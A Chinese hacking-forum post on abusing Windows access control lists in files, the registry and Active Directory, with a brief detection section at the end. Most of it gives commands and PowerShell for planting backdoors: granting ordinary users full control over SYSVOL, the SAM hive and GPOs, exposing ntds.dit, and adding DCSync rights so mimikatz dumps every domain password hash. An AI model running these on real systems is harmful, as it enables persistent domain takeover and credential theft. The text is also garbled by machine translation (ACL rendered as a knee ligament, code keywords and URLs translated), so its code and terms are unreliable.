跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

渗透技巧——Windows下的访问控制表


XenoG

推荐的帖子

0x00 前言

Windows操作系统操作系统系统中的ACL(访问控制列表),用来表示用户(组)权限的列表。

在渗透测试中,理解并运用ACL,尤其在后门利用(提权)方面,可供发挥的空间很大。

而站在防御的角度,如果系统被攻破,找到并清除攻击者留下的前十字韧带后门,同样需要对前十字韧带有一定的了解。

0x01 简介

本文将要介绍以下内容:

前十字韧带相关概念

查看前十字韧带

前十字韧带利用(文件、注册表和域环境)

前十字韧带检测

0x02 ACL相关概念

官方文档:

https://份文件。微软。com/en-us/windows/desktop/sec authz/access-control-list

ACL:

访问控制列表,用来表示用户(组)权限的列表,包括抑郁症辅助核查表和SACL

ACE:

访问控制条目中的元素

DACL:

自由访问控制列表,用来表示安全对象权限的列表

SACL:

系统访问控制列表,用来记录对安全对象访问的日志

直观理解:

Windows操作系统操作系统访问控制模型中会用到ACL,比如文件、注册表的权限都包括ACL,用来表示哪些用户(组)具有操作权限

例如对某个文件进行访问,系统将做以下判断:

如果没有DACL,系统将允许访问

如果存在DACL,但没有ACE,系统将拒绝所有访问

如果存在DACL,也存在ACE,那么会按照每个(美国电影编辑)美国电影电视剪接师协会指定允许或拒绝

实例演示

对于文件夹c:\ Windows \ SYSVOL \ SYSVOL \ test。com,查看文件夹属性

默认共有五条DACL,如下图

2-1.png

选中一条DACL,其中包含多个ACE,表示具有的权限,如下图

2-2.png

0x03 文件中的ACL

常用命令(icacls):

1、查看指定文件的ACL

icacls C:\ Windows \ SYSVOL \ SYSVOL \ test。com

如下图

3-1.png

2、备份指定文件(包括当前目录及其子目录中的文件)的ACL

icacls C:\ Windows \ SYSVOL \ SYSVOL \ test。com/保存ACL文件/t

3、还原指定文件(包括当前目录及其子目录中的文件)的ACL

icacls C:\ Windows \ SYSVOL \ SYSVOL \/restore ACL file/t

注:

还原时,路径需要设置为上级目录

4、添加用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限

icacls C:\ Windows \ SYSVOL \ SYSVOL \ test。com/grant test1:(OI)(CI)(F)/t

注:

(OI)代表对象继承

(CI)代表容器继承

(六)代表完全访问

5、移除用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限

icacls C:\ Windows \ SYSVOL \ SYSVOL \ test。com/remove test1/t

常用命令(powershell):

1、查看指定路径的ACL

例如c:\ Windows \ SYSVOL \ SYSVOL \ test。com

get-Acl-Path ' C:\ Windows \ SYSVOL \ SYSVOL \ test。com ' |格式-表格-换行

2、添加用户test1对指定文件的完全访问权限

功能添加-ACL{

[CmdletBinding()]

参数(

[参数(强制=$True)]

[字符串]

[ValidateNotNullOrEmpty()]

$Path

)

$acl=Get-Acl -Path $Path

$person=[System .安全。校长。nt帐户“test1”

$access=[System .安全。门禁。文件系统权限,'完全控制'

$inheritance=[System .安全。门禁。继承标志]'对象继承,容器继承'

$propagation=[System .安全。门禁。传播标志]'无'

$type=[System .安全。门禁。访问控制类型]'允许'

$rule=新对象系统安全。门禁。filesystemaccessrule(` r

$person,$access,$inheritance,$propagation,$type)

$acl .AddAccessRule($rule)

Set-Acl $Path $acl

}

add-ACL-Path ' C:\ Windows \ SYSVOL \ SYSVOL \ test。' com '

3、移除用户test1对指定文件的完全访问权限

函数删除-ACL{

[CmdletBinding()]

参数(

[参数(强制=$True)]

[字符串]

[ValidateNotNullOrEmpty()]

$Path

)

$acl=Get-Acl -Path $Path

$person=[System .安全。校长。nt帐户“test1”

$access=[System .安全。门禁。文件系统权限,'完全控制'

$inheritance=[System .安全。门禁。继承标志]'对象继承,容器继承'

$propagation=[System .安全。门禁。传播标志]'无'

$type=[System .安全。门禁。访问控制类型]'允许'

$rule=新对象系统安全。门禁。filesystemaccessrule(` r

$person,$access,$inheritance,$propagation,$type)

$acl .RemoveAccessRule($rule)

Set-Acl $Path $acl

}

remove-ACL-Path ' C:\ Windows \ SYSVOL \ SYSVOL \ test。' com '

4、添加用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限

功能添加-ACL{

[CmdletBinding()]

参数(

[参数(强制=$True)]

[字符串]

[ValidateNotNullOrEmpty()]

$Path

)

$acl=Get-Acl -Path $Path

$person=[System .安全。校长。nt帐户“test1”

$access=[System .安全。门禁。文件系统权限,'完全控制'

$inheritance=[System .安全。门禁。继承标志]'无'

$propagation=[System .安全。门禁。传播标志]'无'

$type=[System .安全。门禁。访问控制类型]'允许'

$rule=新对象系统安全。门禁。filesystemaccessrule(` r

$person,$access,$inheritance,$propagation,$type)

$acl .AddAccessRule($rule)

Set-Acl $Path $acl

}

add-ACL-Path ' C:\ Windows \ SYSVOL \ SYSVOL \ test。' com '

$ file list=Get-child item ' C:\ Windows \ SYSVOL \ SYSVOL \ test。' com '-递归

Foreach($file in $fileList)

{

$file.fullname

add-ACL-Path$file。全名

}

5、移除用户test1对指定文件(包括当前目录及其子目录中的文件)的完全访问权限

函数删除-ACL{

[CmdletBinding()]

参数(

[参数(强制=$True)]

[字符串]

[ValidateNotNullOrEmpty()]

$Path

)

$acl=Get-Acl -Path $Path

$person=[System .安全。校长。nt帐户“test1”

$access=[System .安全。门禁。文件系统权限,'完全控制'

$inheritance=[System .安全。门禁。继承标志]'无'

$propagation=[System .安全。门禁。传播标志]'无'

$type=[System .安全。门禁。访问控制类型]'允许'

$rule=新对象系统安全。门禁。filesystemaccessrule(` r

$person,$access,$inheritance,$propagation,$type)

$acl .RemoveAccessRule($rule)

Set-Acl $Path $acl

}

remove-ACL-Path ' C:\ Windows \ SYSVOL \ SYSVOL \ test。' com '

$ file list=Get-child item ' C:\ Windows \ SYSVOL \ SYSVOL \ test。' com '-递归

Foreach($file in $fileList)

{

Remove-ACL -Path $file.fullname

}

利用思路:

1、本地提权后门

在取得Windows操作系统操作系统系统的管理员权限后,可以修改系统目录的ACL,添加普通用户的完全访问权限,作为提权后门

后续可以通过动态链接库劫持、文件替换等多种方法从普通用户提升至管理员权限

2、域环境GPO的修改

修改域内共享文件夹\\\SYSVOL\\的ACL,添加普通用户的完全访问权限

后续可以使用域内普通用户的权限修改域环境的GPO,修改邮政总局的计划任务,实现计划任务的远程执行

相关方法可参考之前的文章《域渗透——利用GPO中的计划任务实现远程执行》

3、域内普通用户读取域内所有用户hash

创建ntds.dit的文件共享,添加前十字韧带

后续可以使用域内普通用户访问域控制器的ntds.dit文件,读取域内所有用户的混杂

0x04 注册表中的ACL

常用命令(powershell):

1、查看指定路径的ACL

例如HKEY _本地机器\山姆

' get-Acl-Path ' HKLM:\ SAM ' | Format-Table-wrap

如下图

4-1.png

获得接近项的具体内容:

$ Acl=Get-Acl-Path ' HKLM:\山姆'

$acl .接近

如下图

4-2.png

2、添加用户test1对指定路径(包括当前注册表项及其子健)的完全访问权限

$ Acl=Get-Acl HKLM:\山姆

$person=[System .安全。校长。nt帐户“test1”

$access=[System .安全。门禁。注册表权限]'完全控制'

$inheritance=[System .安全。门禁。继承标志]'对象继承,容器继承'

$propagation=[System .安全。门禁。传播标志]'无'

$type=[System .安全。门禁。访问控制类型]'允许'

$rule=新对象系统安全。门禁。注册访问规则(` r

$person,$access,$inheritance,$propagation,$type)

$acl .AddAccessRule($rule)

set-Acl HKLM:\ SAMAcl

注:

$inheritance=[System .安全。门禁。继承标志]'对象继承,容器继承'表示其子健继承当前注册表项的权限

修改注册表项HKLM:\山姆的前十字韧带需要管理人员权限

修改注册表项HKLM:\山姆\山姆的前十字韧带需要系统权限

3、移除用户test1对指定路径(包括当前注册表项及其子健)的完全访问权限

$ Acl=Get-Acl HKLM:\山姆

$person=[System .安全。校长。nt帐户“test1”

$access=[System .安全。门禁。注册表权限]'完全控制'

$inheritance=[System .安全。门禁。继承标志]'对象继承,容器继承'

$propagation=[System .安全。门禁。传播标志]'无'

$type=[System .安全。门禁。访问控制类型]'允许'

$rule=新对象系统安全。门禁。注册访问规则(` r

$person,$access,$inheritance,$propagation,$type)

$acl .RemoveAccessRule($rule)

set-Acl HKLM:\ SAMAcl

利用思路:

1、本地提权后门

修改注册表项HKLM:\山姆和HKLM:\系统,添加普通用户的完全访问权限

普通用户能够通过注册表项获得本地所有用户的哈希,进而获得管理员权限

3、本地自启动后门

修改注册表位置,添加启动项或者劫持项

0x05 域环境中的ACL

通过活动目录服务接口(ADSI)实现

官方文档:

https://份文件。微软。com/en-us/windows/desktop/AD/controlling-access-to-objects-in-active-directory-domain-services

Powershell调用ADSI的参考资料:

https://社会。TechNet。微软。com/Forums/windows server/en-US/df 3 bfd 33-c070-4a9c-be98-C4 da 6 e 591 a 0 a/forum-FAQ-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell

常用命令(powershell):

注:

PowerView已经实现了这部分内容,所以本节直接引用PowerView中的功能

代码地址:

https://github。com/powershell mafia/powers loit/blob/dev/Recon/power view。PS1

1、获得当前域内所有对象

get-Domain对象域test.com

2、获得当前域内所有对象的ACL

get-域对象ACL-域test.com

3、获得指定用户的ACL

Get-DomainUser test1

4、添加用户test1对指定对象(guid)的完全访问权限

add-DomainObjectAcl-目标身份' 483 e 9973-2d 45-4e2f-b034-f272a 26950 E0 '-principalidientity test1-权限全部

5、移除用户test1对指定对象(guid)的完全访问权限

remove-DomainObjectAcl-目标标识' 483 e 9973-2d 45-4e2f-b034-f272a 26950 E0 '-principalidientity test1-权限全部

利用思路:

1、DCSync后门

注:

该方法学习自:https://www。幽灵特工队。io/assets/resources/an _ ace _ up _ the _ sleeve。可移植文档格式文件的扩展名(portable document format的缩写)

数据同步是米米卡茨的一个功能,能够模拟域控制器并从域控制器导出帐户密码混杂

如果我们在域内一台主机上获得了域管理员权限,可以使用如下命令直接导出域内所有用户的哈希:

mimikatz.exe特权*调试' LSA转储:DC同步/域:测试。' com/all/CSV '退出

导出域内管理人员帐户的哈希:

mimikatz.exe权限*调试' LSA转储:DC同步/域:测试。' com/user:administrator/CSV '退出

默认情况下,只有域控制器和企业域管理员权限能够使用数据同步

但我们可以对DS-复制-获取更改(GUID:1131 f6aa-9c 07-11 D1-f79f-00 c 04 fc 2d CD 2)和DS-复制-获取-更改-全部(1131 f6ad-9c 07-11 D1-f79f-00 c 04 fc 2d CD 2)添加ACL,这样就能实现普通用户调用数据同步导出域内所有用户的混杂

实现代码:

https://github。com/powershell mafia/powers loit/blob/dev/Recon/power view。PS1 # l 8270

添加前十字韧带的命令如下:

add-domain object ACL-目标身份' DC=测试,DC=com '-主体身份测试1-权限数据同步

接下来,在域内一台登录了测试一用户的主机上面,就能使用米米卡茨的数据同步功能

删除前十字韧带的命令如下:

remove-domain object ACL-目标标识' DC=test,DC=com '-主体标识test1-权限数据同步

2、GPO后门

(1)查看当前域内的邮政总局

导入模块组策略

Get-GPO -All

如下图,测试邮政总局是我在测试环境自己添加的,默认域策略和默认域控制器策略是域环境默认存在的邮政总局

4-3.png

(2)添加用户测试一对TestGPO的完全访问权限

$ Raw object=Get-domain po-Raw-Identity ' test GPO '

$TargetObject=$RawObject .GetDirectoryEntry()

$ ACE=New-ADObjectAccessControlEntry-继承类型All-access controltype Allow-principalidientity test1-权限访问系统安全、CreateChild、Delete、DeleteChild、DeleteTree、ExtendedRight、GenericAll、GenericExecute、GenericRead、GenericWrite、ListChildren、ListObject、ReadControl、ReadProperty、Self、Synchronize、WriteDacl、WriteOwner、WriteProperty

$TargetObject .PS基础。对象安全性。addaccessrule($ ACE)

$TargetObject .PsBase。CommitChanges()

(3)移除用户测试一对TestGPO的完全访问权限

$ Raw object=Get-domain po-Raw-Identity ' test GPO '

$TargetObject=$RawObject .GetDirectoryEntry()

$ ACE=New-ADObjectAccessControlEntry-继承类型All-access controltype Allow-principalidientity test1-权限访问系统安全、CreateChild、Delete、DeleteChild、DeleteTree、ExtendedRight、GenericAll、GenericExecute、GenericRead、GenericWrite、ListChildren、ListObject、ReadControl、ReadProperty、Self、Synchronize、WriteDacl、WriteOwner、WriteProperty

$TargetObject .PS基础。对象安全性。removeaccessrule($ ACE)

$TargetObject .PsBase。CommitChanges()

后续可以对邮政总局进行操作,添加计划任务,实现计划任务的远程执行,具体方法可参考之前的文章《域渗透——利用GPO中的计划任务实现远程执行》

0x06 ACL检测

1、文件和注册表

可借助开源工具WindowsDACLEnumProject:

https://github.com/nccgroup/WindowsDACLEnumProject

能够列出存在风险的前十字韧带

3、域环境

需要开启高级安全审核策略,参考资料:

https://个博客。TechNet。微软。com/canit pro/2017/03/29/逐步启用-高级-安全-审计-策略-通过ds-access/

开启策略后,事件ID 5136会记录域环境中前十字韧带的修改,参考资料:

https://www。ultimatewindowssecurity。com/安全日志/百科全书/事件。aspx?eventid=5136

0x07 小结

本文介绍了Windows操作系统操作系统系统中的前十字韧带在文件、注册表和域环境下后门利用方面的技巧,并给出检测后门的建议。

我从PowerView中学到了很多域环境下前十字韧带的知识,在此感谢作者的开源。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...